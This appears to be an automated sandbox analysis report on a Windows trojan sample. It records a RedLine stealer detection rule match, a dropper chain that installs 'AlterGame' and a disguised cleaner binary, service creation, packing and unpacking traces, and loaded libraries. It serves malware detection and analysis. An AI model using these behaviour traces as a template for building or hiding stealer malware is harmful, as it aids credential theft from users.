Source: EShineEncoder.exe.6.dr	Static PE information: Resource name: RT_STRING type: DOS executable (COM, 0x8C-variant)
Source: EShineEncoder.exe.6.dr	Static PE information: Resource name: RT_RCDATA type: Delphi compiled form 'TfcDlgArchiveVolumeRequest'
Source: EShineEncoder.exe.6.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE ECOFF executable not stripped - version 0.79

Source: is-HKUEM.tmp.3.dr	Static PE information: Number of sections : 19 > 10
Source: sqlite3.dll.6.dr	Static PE information: Number of sections : 19 > 10

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.1816811085.0000000000560000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: classification engine

Classification label: mal100.troj.evad.winEXE@16/40@1/3

Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Code function: 6_2_02E508C0 FormatMessageA,GetLastError,FormatMessageA,GetLastError,

6_2_02E508C0

Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	Code function: 2_2_00409448 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		2_2_00409448
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_004555B8 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		3_2_004555B8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00404530 SetLastError,SetLastError,FindNextVolumeMountPointA,EnumTimeFormatsW,_calloc,__floor_pentium4,GetDllDirectoryW,OpenJobObjectA,InterlockedExchangeAdd,VirtualAlloc,GetLastError,GetDiskFreeSpaceExW,SetConsoleCP,GetSystemDefaultLCID,InterlockedExchange,GetDiskFreeSpaceExW,SetConsoleCP,GetSystemDefaultLCID,OutputDebugStringW,GetUserDefaultLangID,LoadLibraryW,ReadConsoleInputA,LCMapStringA,InterlockedIncrement,LCMapStringA,InterlockedIncrement,OpenEventW,GetCurrentProcess,GetCurrentProcess,GetLastError,GetFileAttributesA,GetShortPathNameW,SetComputerNameExA,GetFileAttributesA,GetShortPathNameW,SetComputerNameExA,FreeEnvironmentStringsW,GetComputerNameA,InterlockedExchange,LoadLibraryW,

0_2_00404530

Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Code function: CreateServiceA,CloseServiceHandle,CloseServiceHandle,

6_2_00402B32

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00568303 CreateToolhelp32Snapshot,Module32First,

0_2_00568303

Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp

Code function: 3_2_0046DF04 GetVersion,CoCreateInstance,

3_2_0046DF04

Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe

Code function: 2_2_00409BEC FindResourceA,SizeofResource,LoadResource,LockResource,

2_2_00409BEC

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\add[1].htm

Jump to behavior

Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7076:120:WilError_03

Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe

File created: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Command line argument: (LE/	0_2_00404830
Source: C:\Users\user\Desktop\file.exe	Command line argument: [fA	0_2_00404830
Source: C:\Users\user\Desktop\file.exe	Command line argument: rU@	0_2_00404830
Source: C:\Users\user\Desktop\file.exe	Command line argument: u{$	0_2_00404830
Source: C:\Users\user\Desktop\file.exe	Command line argument: &YN9	0_2_00404830
Source: C:\Users\user\Desktop\file.exe	Command line argument: {X:	0_2_00404830
Source: C:\Users\user\Desktop\file.exe	Command line argument: Y~o	0_2_00404830

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: altergame32.exe, altergame32.exe, 00000006.00000003.1933269475.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, altergame32.exe, 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmp, is-HKUEM.tmp.3.dr, sqlite3.dll.6.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: altergame32.exe, 00000006.00000003.1933269475.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, altergame32.exe, 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmp, is-HKUEM.tmp.3.dr, sqlite3.dll.6.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: altergame32.exe, altergame32.exe, 00000006.00000003.1933269475.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, altergame32.exe, 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmp, is-HKUEM.tmp.3.dr, sqlite3.dll.6.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: altergame32.exe, 00000006.00000003.1933269475.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, altergame32.exe, 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmp, is-HKUEM.tmp.3.dr, sqlite3.dll.6.dr	Binary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
Source: altergame32.exe, 00000006.00000003.1933269475.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, altergame32.exe, 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmp, is-HKUEM.tmp.3.dr, sqlite3.dll.6.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: altergame32.exe, 00000006.00000003.1933269475.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, altergame32.exe, 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmp, is-HKUEM.tmp.3.dr, sqlite3.dll.6.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: altergame32.exe, 00000006.00000003.1933269475.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, altergame32.exe, 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmp, is-HKUEM.tmp.3.dr, sqlite3.dll.6.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: altergame32.exe, 00000006.00000003.1933269475.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, altergame32.exe, 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmp, is-HKUEM.tmp.3.dr, sqlite3.dll.6.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: altergame32.exe, 00000006.00000003.1933269475.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, altergame32.exe, 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmp, is-HKUEM.tmp.3.dr, sqlite3.dll.6.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: altergame32.exe, 00000006.00000003.1933269475.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, altergame32.exe, 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmp, is-HKUEM.tmp.3.dr, sqlite3.dll.6.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: altergame32.exe, 00000006.00000003.1933269475.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, altergame32.exe, 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmp, is-HKUEM.tmp.3.dr, sqlite3.dll.6.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: altergame32.exe, altergame32.exe, 00000006.00000003.1933269475.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, altergame32.exe, 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmp, is-HKUEM.tmp.3.dr, sqlite3.dll.6.dr	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: file.exe	ReversingLabs: Detection: 36%
Source: file.exe	Virustotal: Detection: 39%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe "C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe"
Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	Process created: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp "C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp" /SL5="$403E6,3817417,54272,C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe"
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" pause alter_game_11196
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Process created: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe "C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe" -i
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 pause alter_game_11196
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe "C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe "C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe "C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	Process created: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp "C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp" /SL5="$403E6,3817417,54272,C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" pause alter_game_11196	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Process created: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe "C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe" -i	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 pause alter_game_11196	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp

Window found: window name: TMainForm

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AlterGame_is1

Jump to behavior

Source:	Binary string: msvcp71.pdbx# source: is-PR9GR.tmp.3.dr
Source:	Binary string: msvcr71.pdb< source: is-GSS65.tmp.3.dr
Source:	Binary string: msvcp71.pdb source: is-PR9GR.tmp.3.dr
Source:	Binary string: MicrosoftWindowsGdiPlus-1.0.2600.1360-gdiplus.pdb source: is-28G11.tmp.3.dr
Source:	Binary string: C:\Users\79631\source\repos\Gcleanerapp\Gcleanerapp\obj\Release\Gcleanerapp.pdb source: ebAAb6KfuCx7.exe, 00000008.00000000.1932852369.00000000008F2000.00000002.00000001.01000000.0000000C.sdmp, PAB1[1].file.1.dr, ebAAb6KfuCx7.exe.1.dr
Source:	Binary string: msvcr71.pdb source: is-GSS65.tmp.3.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Unpacked PE file: 6.2.altergame32.exe.400000.0.unpack _qrsa_4:ER;_qrsb_4:R;_qrsc_4:W;.rsrc:R;_qrsd_4:EW; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Unpacked PE file: 6.2.altergame32.exe.400000.0.unpack

Source: ebAAb6KfuCx7.exe.1.dr

Static PE information: 0xDEC807D9 [Wed Jun 9 20:26:01 2088 UTC]

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0040C415 LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,

0_2_0040C415

Source: initial sample

Static PE information: section where entry point is pointing to: _qrsa_4

Source: file.exe	Static PE information: section name: .wujep
Source: file.exe	Static PE information: section name: .jin
Source: altergame32.exe.3.dr	Static PE information: section name: _qrsa_4
Source: altergame32.exe.3.dr	Static PE information: section name: _qrsb_4
Source: altergame32.exe.3.dr	Static PE information: section name: _qrsc_4
Source: altergame32.exe.3.dr	Static PE information: section name: _qrsd_4
Source: is-28G11.tmp.3.dr	Static PE information: section name: Shared
Source: is-HKUEM.tmp.3.dr	Static PE information: section name: /4
Source: is-HKUEM.tmp.3.dr	Static PE information: section name: /19
Source: is-HKUEM.tmp.3.dr	Static PE information: section name: /35
Source: is-HKUEM.tmp.3.dr	Static PE information: section name: /51
Source: is-HKUEM.tmp.3.dr	Static PE information: section name: /63
Source: is-HKUEM.tmp.3.dr	Static PE information: section name: /77
Source: is-HKUEM.tmp.3.dr	Static PE information: section name: /89
Source: is-HKUEM.tmp.3.dr	Static PE information: section name: /102
Source: is-HKUEM.tmp.3.dr	Static PE information: section name: /113
Source: is-HKUEM.tmp.3.dr	Static PE information: section name: /124
Source: sqlite3.dll.6.dr	Static PE information: section name: /4
Source: sqlite3.dll.6.dr	Static PE information: section name: /19
Source: sqlite3.dll.6.dr	Static PE information: section name: /35
Source: sqlite3.dll.6.dr	Static PE information: section name: /51
Source: sqlite3.dll.6.dr	Static PE information: section name: /63
Source: sqlite3.dll.6.dr	Static PE information: section name: /77
Source: sqlite3.dll.6.dr	Static PE information: section name: /89
